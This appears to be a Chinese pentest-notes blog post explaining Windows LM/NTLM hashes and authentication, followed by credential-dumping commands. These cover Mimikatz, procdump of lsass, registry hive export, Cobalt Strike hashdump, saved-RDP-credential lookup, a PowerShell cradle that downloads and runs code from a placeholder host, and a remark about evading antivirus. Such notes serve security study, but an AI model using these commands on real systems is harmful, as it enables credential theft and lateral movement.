关键词搜索

源码搜索 ×
×

WindowsHash简介及windows认证

发布2023-04-23浏览984次

详情内容

Windows系统使用两种方法对用户的密码进行哈希处理,他们分别是LAN Manager(LM)哈希和NT LAN Manager(NTML)哈希。

现在已经有了更新的NTLMv2以及Kerberos验证体系。

Windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分是NTLM-hash

windows加密过的密码口令,我们称为hash,windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分NTLM-hash。

WINDOWS系统下hash密码格式:

用户名称:RID:LM-HASH值:NT-HASH值

Windows内网协议学习NTLM篇之NTLM基础介绍-安全客 - 安全资讯平台

可参考以上文章进行详细的学习

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登录账户
  • 网络认证:远程连接到工作组中的某个设备(远程连接ftp,文件共享)
  • 域认证:登录到域环境中的某个设备

Windows本地认证

1、用户输入密码

2、系统收到密码后将用户输入的密码计算成NTLM HASH

3、与sam数据库(%SystemRoot%\System32\config\sam)中该用户对比

4、匹配则登录成功,不匹配则登录失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后存储在电脑中

本地认证中用来处理用户输入密码的进程位lsass.exe,密码会在这个进程中明文保存,该进程将密码计算成NTLM hash与sam进行对比,们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

Windows密码凭证获取

几种windows本地hash值获取和破解详解 - SecPulse.COM | 安全脉搏

获取凭证工具:

1、Mimikatz

抓取明文密码:

  1. mimikatz # log
  2. mimikatz # privilege::debug
  3. mimikatz # sekurlsa::logonpasswords

使用mimikatz抓取密码

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

2、Powershell脚本

Powershell远程加载mimikatz脚本

先介绍一下powershell木马最常用的方式,一般都为远程下载然后执行的方法,特点就是:直接内存运行,无文件落地。

https://www.cnblogs.com/chen-w/p/14726549.htmlhttps://www.cnblogs.com/chen-w/p/14726549.html

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”

IEX:指内存运行

new-object  net.webclient:创建一个客户端对象,远程加载mimikatz

3、Ophcrack

我们可以 使用ophcrack工具配合彩虹表自己破解。

4、Procdump+Mimikatz

Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump lsass进程导出

  1. FOR 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp
  2. FOR 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

使用mimikatz还原密码:

  1. sekurlsa::minidump lsass.dmp
  2. sekurlsa::logonPasswords full

5、注册表导出hash

  1. reg save HKLM\SYSTEM SYSTEM.hiv
  2. reg save HKLM\SAM sam.hiv
  3. reg save HKLM\SECURITY security.hiv
  4. mimikatz.exe "log" "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

再使用MD5进行查询MD5免费在线解密破解_MD5在线加密-SOMD5

这方法还是比较好的,可以绕过杀毒软件检测。

6、Meterpreter获取hash

7、Cobaltstrike获取hash

  1. hashdump
  2. logonpasswords
  3. mimikatz sekurlsa::logonpasswords

其他内容:

POWERSHELL脚本获取RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History

在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密, 解密成功后可使用此凭据继续横向移动。

powershell -exec bypass -f 1.ps1

如果直接运行powershell则会直接报错

本地RDP连接解密

  • 用Mimikatz解密

查看本地机器本地连接过的目标机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
  • 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

PPTP口令获取

PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

需要拿到目标系统管理员权限

参考文章:

【渗透笔记】Windows密码凭证获取 - 灰信网(软件开发博客聚合)

相关技术文章

点击QQ咨询
开通会员
返回顶部
×
微信扫码支付
微信扫码支付
确定支付下载
请使用微信描二维码支付
×

提示信息

×

选择支付方式

  • 微信支付
  • 支付宝付款
确定支付下载